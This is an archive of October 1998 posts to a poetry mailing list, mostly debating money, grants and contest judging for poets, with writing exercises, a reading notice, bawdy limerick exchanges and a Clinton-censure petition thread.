> >World of today's sad and sorry Washington Post The brutal, colonial
> >history of the Philippines was reduced to that Neo-Georgian sentimental
> >drivel and then praised and supported with whitey's prizes, fellowships
> >and grants; the same blood money that some of my friends here on the
> >list lust after. Read that poor pathetic excuse for a prize-winning
> poem
> >and you just smell the stench of oppression. "Returning a Borrowed
> >Language" or whatever the anthology is called, my ass. Can't wash all
> >those murders off with that Neo-Georgian technique. Doesn't wash of.
> >Can't even burn it off.
> >
> >So Mark. That is what I mean by "stature". The power to be part of
> >murderous institutions and at the same time claim to be confronting
> >them. When I defended some elements of the social science community
> >Soakl, Gross & Levitt on this list, all I got was ignorant rancor which
> >amounted to a blind defense of those same institutions. In that case as
> >it turned out, the stink went right back to Richard Mellon Scaife and
> >other defenders of the money.
> >
> >I'm reminded of the words of another poet here in Washington. The
> lapsed
> >Jesuit, misogynist, T.V. pundit John McLaughlin. Big Loud John once
> >said, "Whores? Whores!? We're all whores! But I'm the whore with the
> >T.V. show!!" See, all we lack is the fucking ratings.
> >
> >Thanks, for the setup Mark. I got a migraine and can't read anyway.
> >As for Amato. I mentioned his name to The Family. I think he knows what
> >I mean. The Jimmy Hoffa School.
> >Mark DuCharme wrote:
> >>

> >> C. Parcelli wrote:
> >>
> >> >I resent Mr. Amato's harsh and impolitic remarks. How could poetry
> have
> >> >achieved its current stature within the culture at large without
> >> >compromise?
> >>
> >> While I appreciate the need to compromise for the sake of realism or
> >> politesse, I'm just wondering what kind of "current stature" you
> think
> >> poetry has achieved. Hmm, maybe we ought to try _less_ compromise;
> from
> >> the point of view of visibility or popularity (which, I'll be the
> first
> >> to acknowledge, are not the only or necessarily even the most valid
> >> yardsticks), poetry doesn't seem to have much stature within the
> culture
> >> AT LARGE at all.
> >>
> >> & Personally, I didn't feel Joe was being so harsh & impolitic... but
> >> then again, I can sympathize with his point of view, however much it
> is
> >> true in the end that capitulations have to be made...
> >>
> >> --Mark DuCharme
> >>
> >> _____
> >> Get Your Private, Free Email at http://www.hotmail.com
> >
>
> _____
> Get Your Private, Free Email at http://www.hotmail.com

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153. **Eliza McGrand**

money time equation (p=m/t ^2)?

Tue 6 Oct 1998

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money vs. time... o.k., i'll bite. i've thought about it aLOT. some of thoughts:

1) there seem to be an awful lot of writers who write something extraordinary while working as busboy in hotel, dr., indian chief, etc. they get gobs of glam and recog. and... nothing else. ever. or, worse...

2) geschmutz. dreckda. ptheewww! or not even, just mediocre, dull, navel mesmerized wordlumps. was it the money? the recognition? the sudden rapt world attention (think of those pale, thin, knobby child-stars who freeze when they get in the Big Shoe...) -- a case of stage fright?

3) but there are people, nice people, with ordinary, struggling lives we all relate to (can i pay rent this month? oh dear god, please let it not be the transmission, please let it not be the transmission...) who write book, it sells, they get globs of money, and they... KEEP ON WRITING. as well, or better. sue miller springs to mind, quite probably because she is our local wunderkinder. she bought, i've heard, a house with the windfall from "the good mother" and after years of nomadic bostonian rentpoor existence, who can blame her? who among us does not envy?

4) there have been a few times in my life when i've had sudden globs of time on my hands. was i more productive? i have to say, no. turn it around: when was i MOST productive? when i was getting poleaxed with something i wanted to write, when i was on a writing streak which, we all know, has something to do with moon in jupiter or pluto in mars or five countries beginning with "A" all putting a highway in the NW part of capital city in same week, or... who knows.

5) would money/prizes/recognition have changed, helped, etc. say, DURING a writing streak? don't know.

6) would money etc. help now? SURE! i have DEBTS i would have much peace of mind if i could pay. i would like a house. i would like to, finally, travel. would it help my WRITING? don't know. it would give me more subject matter. fewer excuses not to write.

7) side effect of contest/prize/etc not mentioned yet is the automatic accept thing. you send your work in over the transom as howard unknown, and you stand good chance of shitpiling. you send your work in as howard i-won-X-famous-prize, they'll take, maybe without really reading, just because, well, howard i.w.x.f.p MUST be good, after all, he won that prize... wouldn't i like to have more authority, more publishability? SURE! would it help? well, i'd get more work out, but would i be disciplined enough not to take advantage of it, send out bad work without waiting to know if it really is good and then it gets published and then, months, years later, i cringe and regret? don't know. but bottom line is:

8) we write to get read. . whatever advances that, maybe it is a good thing taken as a whole. but do we have to get read while we are alive? what if we write like blazes, sans glam, and then get read like anything when we are dead?...

9) look, i don't know. don't think anyone knows. but i can look at what we HAVE, and i do think rigged contests are dishonest and dishonorable. one can, ultimately, protest the dishnonest and dishonorable only by not agreeing to be part of them. but laura (who says we ought to KNOW about contests), how do we KNOW if they are dishonest? it isn't always as blazingly apparent as, say, the National Library of Poe-(sucker born every minute)-EH- try (try try again).

ok, my too-long fifty cents...

e

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154. **MAYHEW**

The 4th decade of experiments

Tue 6 Oct 1998

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31. Write a poem without irony.

32. These experiments involve (a) constraints, (b) bringing poetry into the world--breaking down barriers, (c) de-familiarization, or (d) obsessiveness or mania. Formulate an excercise that does something else.

33. Treat a pre-existing poem in "free verse" as though it were a fixed form. Reproduce the pattern of syllables and accents in your own poem.

34. Watch the sky for a predetermined period each day, keeping a journal of your observations.

35. Translate a poet's work into the foreign language that you know best; write poems directly in this language.

36. Write a hundred poems and rank them in approximate order of excellence. Whenever you write a new poem allow it to "challenge" the existing poems for a place on the list. Do this until all original 100 have been replaced. Start over again, this time choosing an altenate "standard" of value or rejecting value judgments altogether.

37. Write a poem of any length. Then replace every line with a variant that is functionally equivalent (in any way you decide). Keep going until you have at least 10 complete sets of variants. You will have either 1 perfect poem (the best variants for each line), 10 poems, or "100 billion poems" a la Queneau (all possible permutations: 10 to the nth power where _n_ is the number of lines in your original poem.)

38. Compose the worst possible poem you can; read it at all poetry readings you give until someone points out to you how dreadful it is.

39. Write bitter invective (but as side-splittingly funny as possible!) against any target of your own choosing.

40. Start writing political poetry of the most explicit sort possible, but make it as "well-written" as possible--whatever this means for you in this context.

Jonathan

↑ Index

155. **Henry Gould**
Re: The 4th decade of experiments
Tue 6 Oct 1998

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44. Forget about experiment & try writing authentic poetry without gimmicks and pseudo-sophistication that might actually mean something to yourself & others. Toughest experiment of all.

The greater portion of the rhyming tribe
(Give ear, my friend, for thou hast been a scribe)
Are led astray by some peculiar lure.
I labor to be brief - become obscure;
One falls by following elegance too fast;
Another soars, inflated with bombast;
Too low a third crawls on, afraid to fly,
He spins his subject to satiety;
Absurdly varying, he at last engraves
Fish in the woods, and boars beneath the waves!
(Byron)

↑ Index

156. **Henry Gould**
Tatrunis reading
Tue 6 Oct 1998

Poet Paula Tatarunis reads Tues, 13 October, 7 PM

Newton Free Library
330 Homer St, Newton Center, MA

Paula Tatarunis, among greater honors, has been published often in Nedge. Sample (not from Nedge) of her work:

EROS OF PECS

Not sapiens but peccadillus, he
has an appetite for peccary,
hard-boiled eggs, pecans, and 38's.

He's a peculiar kisser. Ask his dates.
He specializes in peccata mundi.
Peculation his m. operandi.
He packs, he pecks; picks pockets; puckers. Crimes.
And even pilfers from the pyx, sometimes.

- Paula Tatarunis

- H. Gould

↑ Index

157. R.Gancie/C.Parcelli
Re: Judging Off
Tue 6 Oct 1998

I was holding back from this discussion but I too have recieved grants in the past and I have always gotten them as special favors to me in other words as straight economic and political quid pro quos. The best deal was the one I struck with Exxon right after the Valdez spill. They had just initiated their POETS, VOX POPULI campaign and you can bet your sweet ass I wanted a taste of that $440,000,000.00 pot. I had provided some forged end user certificates to a group of mercenaries in Angola to purchase weapons for Savimbi, so the boys at Exxon, who were trying to shove out Gulf, Chevron and Royal Dutch Shell in the region, owed me one. But to get my grant money, I had to fuck the entire board of directors and their chauffeurs. Actually, this wasn't so bad because those suits are really in touch with their bodies. Anyway, that's my confession. I hope you won't think any less of me.---Carlo Parcelli

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158. tracy s. ruggles
L=I=M=E=R=I=C=K
Tue 6 Oct 1998

Hi all,

Just came across a book of limericks written by Isaac Asimov and John Ciardi. I am dumbfounded by this collection and am left speechless, but it got me wondering if there have been any so-called language-centered limericks, or if any of you have attempted to write in this form or even break the form but still keeping the "essence of limerick" (a new cologne?).

I've attempted a few but am reluctant to post them. (I'll wait to see if anybody else has any...)

--trace--

P.S. alright, here's mine:

Lotus (after Zukofsky)

genuine dire snow unfold when
mercury delve changeling-in-us sew wren
soap trunk cotton asthma tear
ink wrought life thistle lair
asking-always daemon-lent home ever been

↑ Index

159. Maria Damon (Maria Damon)

Re: L=I=M=E=R=I=C=K

Tue 6 Oct 1998

---

charles bernstein's 5 yr old son felix specialized in limericks last year. charles read some of them at a conference. they were cool.

At 9:00 AM 10/6/98, tracy s. ruggles wrote:
>Hi all,
>
>Just came across a book of limericks written by Isaac Asimov and John
>Ciardi. I am dumbfounded by this collection and am left speechless, but
>it got me wondering if there have been any so-called language-centered
>limericks, or if any of you have attempted to write in this form or even
>break the form but still keeping the "essence of limerick" (a new
>cologne?).
>
>I've attempted a few but am reluctant to post them. (I'll wait to see
>if anybody else has any...)
>
>--trace--
>
>
>P.S. alright, here's mine:
>
>Lotus (after Zukofsky)
>
> genuine dire snow unfold when
> mercury delve changeling-in-us sew wren
> soap trunk cotton asthma tear
> ink wrought life thistle lair
> asking-always daemon-lent home ever been

↑ Index

160. Michael Magee
Re: money for poets
Tue 6 Oct 1998

Ah, you missed my mentioning of O'Hara: I have been having lunch on the fly! and my wife has been practicing obstetrics on the fly. Is that close enough? And need I go through the many working folks on this list whose poems I love, poems, indeed, written on the fly? -m.

According to Edward
Fristrom: >
> > stereotypically European sense of "why doesn't the culture support its
> >
> > artists by giving them great amounts of "free" time to produce their
> > great
> > works - well, I don't know, it just doesn't seem to play out
> > historically
> > when I take account of the writers I really love - I think of Williams
> > and
> > his magic dashboard & prescription pads! Now that's writing! -m.
>
> Might explain why you only have one favorite poet, too. Have you been
> experimenting with this historical model lately? Practicing a little
> obstetrics on the fly while delivering poems?
>

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161. Gabriel Gudding
Re: judging time bought borrowed or stolen
Tue 6 Oct 1998

@). Just want to thank everyone on the list who did cite, frontchannel and backchannel, particular instances in which a judge chose either a student or a friend.

#). I think it's important to understand not only why this occurs and what its implications are, but _how often_ it happens.

$). I don't think it's particularly helpful to _criticize_ the phenomenon -- but that could just be me. On the other hand, knowing _about_ it (rather than simply _of_ it) and chatting openly about it might, somehow, help the situation. Thanks again, be well. -- Gabriel Gudding

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162. Edward Fristrom
Re: money for poets
Tue 6 Oct 1998

> *stereotypically European sense of "why doesn't the culture support its*
>
> *artists by giving them great amounts of "free" time to produce their great*
> *works - well, I don't know, it just doesn't seem to play out historically*
> *when I take account of the writers I really love - I think of Williams and*
> *his magic dashboard & prescription pads! Now that's writing! -m.*

Might explain why you only have one favorite poet, too. Have you been experimenting with this historical model lately? Practicing a little obstetrics on the fly while delivering poems?

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163. Aldon Nielsen
poets & money
Tue 6 Oct 1998

---

tried writing on the fly but the little bugger kept wriggling away from me -- then tried writing on the money itself, thus getting far greater criculation than by the book -- new, enlarged Andrew Jackson affords an improved surface for short forms --

the letters between Williams and Marcia Nardi provide a good couterpoint to this theme --

↑ Index

164. Mark Weiss
Re: money for poets
Tue 6 Oct 1998

Depends, obviously, on the poet and the poem. Retirement gave us a different Williams, the one who wrote Desert Music and Journey to Love. My own experience, since I was able to chuck the 9 to 5, is that my work changed--perhaps not for the better (that's not my call), but different in interesting ways--although I was always pretty adept at writing on the run and still do, mostly. In a perfect world every poet would be able to have the environment that best nurtures his poetry of the moment. It won't happen, but it's nice that some can manage to get grants or colony fellowships when they need them.

At 08:09 AM 10/6/98 -0400, you wrote:
>Jumping in ahead of Anselm b/c question is juicy: no, I don't see a
>connection. At least not one consistent enough to hang an argument on.
>I'll take one O'Hara lunch poem over fifty thousand poems produced at
>Yaddo (apologies to all list-members/yaddo-attenders). My own experience
>says that poems produced on the run, over a cup of coffee and a
>cheeseburger, or in the car during a conversation, or in the half-hour
>between classes, or on one's employer's computer when supposedly working
>on the Smuckers account, often come out better and more interesting than
>the one built on "emotion recollected in tranquility." Now, of course,
>you can be worked to death in detriment to your poetry, but that
>stereotypically European sense of "why doesn't the culture support its
>artists by giving them great amounts of "free" time to produce their great
>works - well, I don't know, it just doesn't seem to play out historically
>when I take account of the writers I really love - I think of Williams and
>his magic dashboard & prescription pads! Now that's writing! -m.
>
>According to louis stroffolino:
>>
>> Hey, Anselm, I may agree with you....
>> but do you not see a connection between "improved writing"
>> and having MORE TIME to write, and look back over one's writing, etc.?
>> just curious.....
>> c
>>
>> On Mon, 5 Oct 1998, Poetry Project wrote:
>>
>> > I realize I'm coming to this late, & this isn't really geared to any
>> > particular message, but I find it hard to believe that so much passion &
>> > angst can be raised about grants, awards, contests, judges, etc. I mean,
>> > I don't exactly see a connection between accumulation of money & im-
proved
>> > writing among poets who win anything.
>> >
>> > Anselm Berrigan
>> >
>>
>
>

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165. **Mark Weiss**

Re: L=I=M=E=R=I=C=K

Tue 6 Oct 1998

I've been to both Limerick and Cologne. I know Cologne, and I can tell you that Limerick is no Cologne.

You might want to check out Gershon Legman, _The Limerick_. 5000 (yup, all them zeros) examples. He contends, by the way, that to do it right it's gotta be salacious.

At 09:00 AM 10/6/98 -0700, you wrote:
>Hi all,
>
>Just came across a book of limericks written by Isaac Asimov and John
>Ciardi. I am dumbfounded by this collection and am left speechless, but
>it got me wondering if there have been any so-called language-centered
>limericks, or if any of you have attempted to write in this form or even
>break the form but still keeping the "essence of limerick" (a new
>cologne?).
>
>I've attempted a few but am reluctant to post them. (I'll wait to see
>if anybody else has any...)
>
>--trace--
>
>
>P.S. alright, here's mine:
>
>Lotus (after Zukofsky)
>
> genuine dire snow unfold when
> mercury delve changeling-in-us sew wren
>   soap trunk cotton asthma tear
>   ink wrought life thistle lair
> asking-always daemon-lent home ever been
>
>

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166. Eliza McGrand
Re: poets & money
Tue 6 Oct 1998

---

hmmmm, when i tried writing on the fly, i got offered SUBSTANTIALLY larger amounts of money. on the other hand, when bowering tried it, he got arrested...

e

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167. Gwyn McVay
Re: money for poets
Tue 6 Oct 1998

>>>Ah, you missed my mentioning of O'Hara: I have been having lunch on the fly! and my wife has been practicing obstetrics on the fly.

I thought flies laid eggs.

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168. David W. McFadden
Re: money for poets
Tue 6 Oct 1998

[redacted] writes:
>Depends, obviously, on the poet and the poem.
Now take a guy like me. I always write better when money worries are few, as they are definitely not right now, and if they are not then I always write better when I'm in the country, as I have been for the past few weeks (did you miss me?) where there are fewer money worries even if you don't have any money because it's much less expensive to live out in the country. Also, who can worry about money when there's a sky full of galaxies and the Milky Way to gape at most nights, and a horizon in all directions to gaze at, and cows to admire for their serene devotion to duty.
Actually I work much better in the country. There are fewer distractions, even those nervous ones of a self-induced nature. It's astonishing, after being city-bound for so long, to find myself working on a poem for an unimaginable number of hours, and pleased as all get out to be doing so. To get that effect in the city one has to have on hand a ready supply of certain prescription drugs, Dexedrine for instance, which itself is a drain on cash supplies.
One night I was watching the sky and a cloud swam away to reveal Sirius

shining splendidly, and just then a dog started barking ten miles away. Honest!
So, my conclusion: the city is fine for dashing off a line here and there, whilst nervously pacing in your little cage and worrying about the rent, or rushing off to deliver another baby, but the country is the place to be when it's time to put those lines together into something destined for immortality.
But that's just me. No wish to cause a mass exodus from our wonderful urban centres.
Then again, the city is just the same as the country except for a greater number of buildings, and more streets, and more cars, and more people, and fewer cows and fewer trout streams.
As former poet and natural historian Christopher Dewdney once said, the country is just the city with a larger grid.
dwm
"Up to now, the net result of all this for Claudine has been an unexpected passion for Francis Jammes because that odd poet understands the country and animals and old-fashioned gardens and the importance of the stupid little things in life."
- Colette, Claudine in Paris.

↑ Index

169. Aldon Nielsen
yaddo yaddo yaddo
Tue 6 Oct 1998

when will writers' colonies achieve independence?

does Breadloaf offer postcolonial studies?

yours from the semi-autonomous republic of my soul,
aldon

↑ Index

170. David W. McFadden
Re: poets & money
Tue 6 Oct 1998

[redacted] writes:
>on the other hand, when bowering tried it,
>he got arrested...

when you go to see bowering it's best to take a flyswatter.
dwm

"There is more drama here, no doubt, than in all the pages that are to come."
- Sara Jeannette Duncan, The Imperialist.

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171. Poetry Project
Re: money for poets
Tue 6 Oct 1998

I see the connection Chris, & I think it's valid tho' still dependent on who the person is & how they work, etc. & I think grants are nice if you can get them but I also think it's a waste of energy to give it much thought. I guess, actually, the real problem I see is a community(ies) of writers giving off the impression that some degree of outside funding is essential to getting their work done. The actual writing. Of course, a poet who, say, owns a car could actually sell the car instead of applying for a grant & thereby stop spitting exhaust into the air while having time to write, reflect, edit, etc.....

Anselm

> *Hey, Anselm, I may agree with you....*
> *but do you not see a connection between "improved writing"*
> *and having MORE TIME to write, and look back over one's writing, etc.?*
> *just curious.....*
> *c*
>
> *On Mon, 5 Oct 1998, Poetry Project wrote:*
>
> *I realize I'm coming to this late, & this isn't really geared to any particular message, but I find it hard to believe that so much passion & angst can be raised about grants, awards, contests, judges, etc. I mean, I don't exactly see a connection between accumulation of money & improved writing among poets who win anything.*
>
> *Anselm Berrigan*

↑ Index

172. Laura E. Wright
Re: money time equation (p=m/t ^2)?
Tue 6 Oct 1998

Eliza McGrand wrote:

> *9) look, i don't know. don't think anyone knows. but i can look at what we HAVE, and i do think rigged contests are dishonest and dishonorable. one can, ultimately, protest the dishnonest and dishonorable only by not agreeing to be part of them. but laura (who says we ought to KNOW about contests),*

> *how do we KNOW if they are dishonest? it isn't always as blazingly apparent as, say, the National Library of Poe-(sucker born every minute)-EH-try (try try again).*

How about looking at the books that have won in the past? Getting info from each other on lists like this? Passing on info to friends if you find a good one (or one to avoid)? Not entering if you can't afford to lose? And never expecting to win anything. Contests are gambling, with pretty bad odds. I still think we need wealthy benefactors or at least affordable housing, not contests, to solve financial woes.

Here's to time stolen from work,
Laura W.

--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *

"All music is music..." -- Ted Berrigan
* * * * * *

"It is very much like it" -- Gertrude Stein

↑ Index

173. daniel bouchard
A petition to censure and move on
Tue 6 Oct 1998

Now that the Starr report is out, and the worst is known, I've been hoping that congress would take swift action and then move on with the business of the country. But it seems our representatives are settling down for a long process, and I'm not sure I can stand it. Worse, I'm not sure the country can stand it.

I'm helping launch an Internet campaign to tell our representatives that we've had enough. The President should receive censure from the Congress and we should all move on. And the independent counsel investigation should end. It's time for the public interest to come first, and for our representatives to show real leadership.

Will you help? Just go to http://www.moveon.org to sign the petition. It only takes a minute. And then if you send a message on to your friends and colleagues, the ball will really get rolling. It's up to us.

Please feel free to forward this message to anyone you think would be interested. Don't send this message indiscriminately. Spam hurts the campaign.

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174. Hilton Manfred Obenzinger
Re: L=I=M=E=R=I=C=K
Tue 6 Oct 1998

Mark --

This is the Legman who specializes in dirty jokes? He gets around.

Once there was a scholar named Legman . .

You go next.

Hilton Obenzinger

On Tue, 6 Oct 1998, Mark Weiss wrote:

> *I've been to both Limerick and Cologne. I know Cologne, and I can tell you that Limerick is no Cologne.*
>
> *You might want to check out Gershon Legman, _The Limerick_. 5000 (yup, all them zeros) examples. He contends, by the way, that to do it right it's gotta be salacious.*
>
> *At 09:00 AM 10/6/98 -0700, you wrote:*
> *Hi all,*
>
> *Just came across a book of limericks written by Isaac Asimov and John Ciardi. I am dumbfounded by this collection and am left speechless, but it got me wondering if there have been any so-called language-centered limericks, or if any of you have attempted to write in this form or even break the form but still keeping the "essence of limerick" (a new cologne?).*
>
> *I've attempted a few but am reluctant to post them. (I'll wait to see if anybody else has any...)*
>
> *--trace--*
>
> *P.S. alright, here's mine:*
>
> *Lotus (after Zukofsky)*
>
> *genuine dire snow unfold when*
> *mercury delve changeling-in-us sew wren*
> *soap trunk cotton asthma tear*

> *ink wrought life thistle lair*
> *asking-always daemon-lent home ever been*

↑ Index

175. **David W. McFadden**
Re: A petition to censure and move on
Tue 6 Oct 1998

[redacted] writes:
>Will you help?
Someone yesterday forwarded an email list insinuating Clinton has had a hand in about 87 murders of various colleagues and associates. Sounded like something Goebbels and Goering might have compiled. It's pretty frightening from this vantage point.
dwm
"I got as far as Buffalo, halfway across the Peace Bridge, then lost my heart and turned back. Something in Canada had taken the breath of spirit out of me, and I promised never to go back...."
- Richard Ford, The Sportswriter.

↑ Index

176. **Mark Weiss**
Re: L=I=M=E=R=I=C=K
Tue 6 Oct 1998

The very same. He's the great folklorist of smut. A lot of the limericks were collected from bathroom walls.
The only rhyme I could come up with is "smegman."

Whose vocation, he'd claim, was "a smegman."

At 11:57 AM 10/6/98 -0700, you wrote:
>Mark --
>
>This is the Legman who specializes in dirty jokes? He gets around.
>
>Once there was a scholar named Legman . .
>
>You go next.
>
>Hilton Obenzinger

>
>
>On Tue, 6 Oct 1998, Mark Weiss wrote:
>
>> I've been to both Limerick and Cologne. I know Cologne, and I can tell you
>> that Limerick is no Cologne.
>>
>> You might want to check out Gershon Legman, _The Limerick_. 5000 (yup,
all
>> them zeros) examples. He contends, by the way, that to do it right it's
>> gotta be salacious.
>>
>> At 09:00 AM 10/6/98 -0700, you wrote:
>> >Hi all,
>> >
>> >Just came across a book of limericks written by Isaac Asimov and John
>> >Ciardi. I am dumbfounded by this collection and am left speechless, but
>> >it got me wondering if there have been any so-called language-centered
>> >limericks, or if any of you have attempted to write in this form or even
>> >break the form but still keeping the "essence of limerick" (a new
>> >cologne?).
>> >
>> >I've attempted a few but am reluctant to post them. (I'll wait to see
>> >if anybody else has any...)
>> >
>> >--trace--
>> >
>> >
>> >P.S. alright, here's mine:
>> >
>> >Lotus (after Zukofsky)
>> >
>> >   genuine dire snow unfold when
>> >   mercury delve changeling-in-us sew wren
>> >   soap trunk cotton asthma tear
>> >   ink wrought life thistle lair
>> >   asking-always daemon-lent home ever been
>> >
>> >
>>
>
>

↑ Index

177. Mark Weiss
Re: A petition to censure and move on
Tue 6 Oct 1998

And he slept with all of them.

At 03:04 PM 10/6/98 -0400, you wrote:
>[redacted] writes:
>>Will you help?
>Someone yesterday forwarded an email list insinuating Clinton has had a
>hand in about 87 murders of various colleagues and associates. Sounded
>like something Goebbels and Goering might have compiled. It's pretty
>frightening from this vantage point.
>dwm
>"I got as far as Buffalo, halfway across the Peace Bridge, then lost my
>heart and turned back. Something in Canada had taken the breath of spirit
>out of me, and I promised never to go back...."
>- Richard Ford, The Sportswriter.
>
>

↑ Index

178. Anastasios Kozaitis
Re: L=I=M=E=R=I=C=K
Tue 6 Oct 1998

Hello folks,

I'm new to the list as of today.

But, I had to get in on the limerick....

Once there was a scholar named Legman
Whose vocation, he'd claim, was a "smegman"
His cheese he'd collect
bathroom wall's, he'd dissect...

Stash

=====

At 12:11 PM 10/6/98 -0700, you wrote:
>The very same. He's the great folklorist of smut. A lot of the limericks
>were collected from bathroom walls.
>The only rhyme I could come up with is "smegman."

>
>Whose vocation, he'd claim, was "a smegman."
>
>At 11:57 AM 10/6/98 -0700, you wrote:
>>Mark --
>>
>>This is the Legman who specializes in dirty jokes? He gets around.
>>
>>Once there was a scholar named Legman . .
>>
>>You go next.
>>
>>Hilton Obenzinger
>>
>>
>>On Tue, 6 Oct 1998, Mark Weiss wrote:
>>
>>> I've been to both Limerick and Cologne. I know Cologne, and I can tell you
>>> that Limerick is no Cologne.
>>>
>>> You might want to check out Gershon Legman, _The Limerick_. 5000 (yup,
all
>>> them zeros) examples. He contends, by the way, that to do it right it's
>>> gotta be salacious.
>>>
>>> At 09:00 AM 10/6/98 -0700, you wrote:
>>> >Hi all,
>>> >
>>> >Just came across a book of limericks written by Isaac Asimov and John
>>> >Ciardi. I am dumbfounded by this collection and am left speechless, but
>>> >it got me wondering if there have been any so-called language-centered
>>> >limericks, or if any of you have attempted to write in this form or even
>>> >break the form but still keeping the "essence of limerick" (a new
>>> >cologne?).
>>> >
>>> >I've attempted a few but am reluctant to post them. (I'll wait to see
>>> >if anybody else has any...)
>>> >
>>> >--trace--
>>> >
>>> >
>>> >P.S. alright, here's mine:

>>> >
>>> >Lotus (after Zukofsky)
>>> >
>>> > genuine dire snow unfold when
>>> > mercury delve changeling-in-us sew wren
>>> > soap trunk cotton asthma tear
>>> > ink wrought life thistle lair
>>> > asking-always daemon-lent home ever been
>>> >
>>> >
>>>
>>
>>
>
>

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179. Robert Corbett

Re: A petition to censure and move on

Tue 6 Oct 1998

Hey listees, I'm back from the land of nomail, and was curious about what seems to me to be a gratuitous instance of Canada bashing (i.e. the Richard Ford quote). that said, when I see Richard Ford, I reach for my revolver (in his textual, not corporal, guise), so perhaps I have jumped to conclusions (off the Peace Bridge). surely, O Canada can rightfully look down on the governing antics of these United States of Amerrorica.

Robert

On Tue, 6 Oct 1998, Mark Weiss wrote:

> "*I got as far as Buffalo, halfway across the Peace Bridge, then lost my heart and turned back. Something in Canada had taken the breath of spirit out of me, and I promised never to go back....*"
> *- Richard Ford, The Sportswriter.*

Robert Corbett "you are there beyond/ tracings flesh can [redacted] take,/ and farther away surrounding and University of Washington informing the systems" - A.R. Ammons

↑ Index

180. David W. McFadden
Re: A petition to censure and move on
Tue 6 Oct 1998

[redacted] writes:
>And he slept with all of them.
But there's the occasional voice of sanity, like E.L.Doctorow no less in this week's New Yorker (qv), pointing out that perjury, when being grilled about something that is not a crime, is not a crime. In fact the NYer has been good throughout, though I don't see it everyw eek.
dwm
"The suit was made of one of the newer bioplastic materials, and its living tissues were still growing, softly adapting themselves to the contours of her body."
- J. G. Ballard, The Venus Hunters.

↑ Index

181. David W. McFadden
Re: A petition to censure and move on
Tue 6 Oct 1998

[redacted] writes:
>Hey listees, I'm back from the land of nomail, and was curious about what
>seems to me to be a gratuitous instance of Canada bashing (i.e. the
>Richard Ford quote). that said, when I see Richard Ford, I reach for my
>revolver (in his textual, not corporal, guise), so perhaps I have jumped
>to conclusions (off the Peace Bridge). surely, O Canada can rightfully
>look down on the governing antics of these United States of Amerrorica.
Right on, but it doesn't make it any less frightening for us. Maybe more so in fact.
By the way, there is a lot of Canada-bashing in that particular book. A journalist friend who interviewed him when he was up here asked him about it, at my request, and according to her he didn't have much of an answer, in fact seemed a bit uncomfortable about it. He even has nasty things to say about hockey!!!
dwm
"A peaceful Sunday ... every day new guns and new tanks came out of the German factories."
- Simone de Beauvoir, The Blood of Others (1945).

↑ Index

182. **Ron Silliman**
Re: L=I=M=E=R=I=C=K
Tue 6 Oct 1998

Limerick is also the name of the nuclear power plant about 15 miles north of here -- right where Jena "Glows in the Dark" Osman lives.

Ron

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

183. **Aldon Nielsen**
Re: L=I=M=E=R=I=C=K
Tue 6 Oct 1998

---

our "Legman" limerick is, if you'll forgive me, starting off on the wrong foot -- unless you're actually going to pronounce "there" with an unusally pronounced emphasis -- need to switch to "There once . . ." though, as always, regional variations in emphasis may have their way with meter --

The one point of agreement between John Hollander and me, to quote Hollander:

But the best of a _limerick_--
Though in Dutch or in Cymric--
Are the little short lines in the middle.

↑ Index

184. **hassen**
Re: L=I=M=E=R=I=C=K
Tue 6 Oct 1998

---

the hook is in. hello i'm also new to the list. though a. nielson's point is respected re faulty stress, i cannot resist the continuation of the clunky...

There once was a scholar named Legman
Whose vocation, he'd claim, was a "smegman"
His cheese he'd collect
Bathroom walls, he'd dissect
He traded his books for a bedpan.

forgive me.
hassen

↑ Index

185. **david bromige**
petition to etc : Hnery Hyde Rider
Tue 6 Oct 1998

Agreed, but I would like to attach a Rider requiring Henry Hyde to elaborate on his notion that there is a statute of limitations governing what he thinks is moral conduct.

I mean, doesn't God keep track of all one's sins in a big book? And isn't Henry Hyde currently playing God? Does God's ink fade with mere time? These and other questions I should like to hear H Hyde debate. Perhaps with Pat Buchanan.

+ + + + +

The tag disparaging of Canada was posted not by Mark Weiss, but by Canada's own David W. McFadden. To understand this, would be to understand the Canadian temperament. We suggest the would-be novitiate begin with Leacock, Stephen, _Sunshine Sketches of a Little Town_ .

Dave.

↑ Index

186. **Mark Weiss**
Re: petition to etc : Hnery Hyde Rider
Tue 6 Oct 1998

I also want the details about what his paramour and Hyde, that sly dog, did together. No telling what of use one could learn.

Actually, I rather like Canada, especially the weather, despite an early unfortunate marriage to a Torontonian, which I don't always blame on the country at large. I do think that that marriage gives me the same disparagement rights as a native, however. I will say just one word, the import of which anyone familiar with echt Quebecois culture will recognize immediately: "poutine."

At 03:52 PM 10/6/98 -0700, you wrote:
>Agreed, but I would like to attach a Rider requiring Henry Hyde to
>elaborate on his notion that there is a statute of limitations governing
>what he thinks is moral conduct.
>
>I mean, doesn't God keep track of all one's sins in a big book? And isn't
>Henry Hyde currently playing God? Does God's ink fade with mere time? These
>and other questions I should like to hear H Hyde debate. Perhaps with Pat
>Buchanan.

>
> + + + + +
>
>The tag disparaging of Canada was posted not by Mark Weiss, but by Canada's
>own David W. McFadden. To understand this, would be to understand the
>Canadian temperament. We suggest the would-be novitiate begin with Leacock,
>Stephen, _Sunshine Sketches of a Little Town_ .
>
>Dave.
>
>

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187. Edward Fristrom

Re: money for poets

Tue 6 Oct 1998

Michael Magee wrote:

> *Ah, you missed my mentioning of O'Hara: I have been having lunch on the*
> *fly! and my wife has been practicing obstetrics on the fly. Is that close*
> *enough? And need I go through the many working folks on this list whose*
> *poems I love, poems, indeed, written on the fly? -m.*

Well. . .no. . . I think marrying into a profession is a fine thing for a writer. . .quite another thing from having a profession. If you aren't working after all. . .you can still write poems "on the fly" if you want. I don't have anything particularly against spontaneous poems. (I have however been writing more prose lately, so I am biased. It's hard to write a short story on the dashboard).

And I think there's probably a lot of professions involving flies that are a great source of inspiration. My parents are drosophila geneticists, so I grew up around fly-obstetrics, though usually the odd jobs relegated to me had more to do with fly-autoclaving. Believe me, plenty of grim, yeasty, teenagerish sorts of poems that year. Poems with legs. And antennae.

But I wouldn't say that Williams or O'Hara could be called a historical model. I also don't think it's "work-time" itself that's an issue so much as the type of work you can acquire. . . Delivering children (or a plague of insects) has a

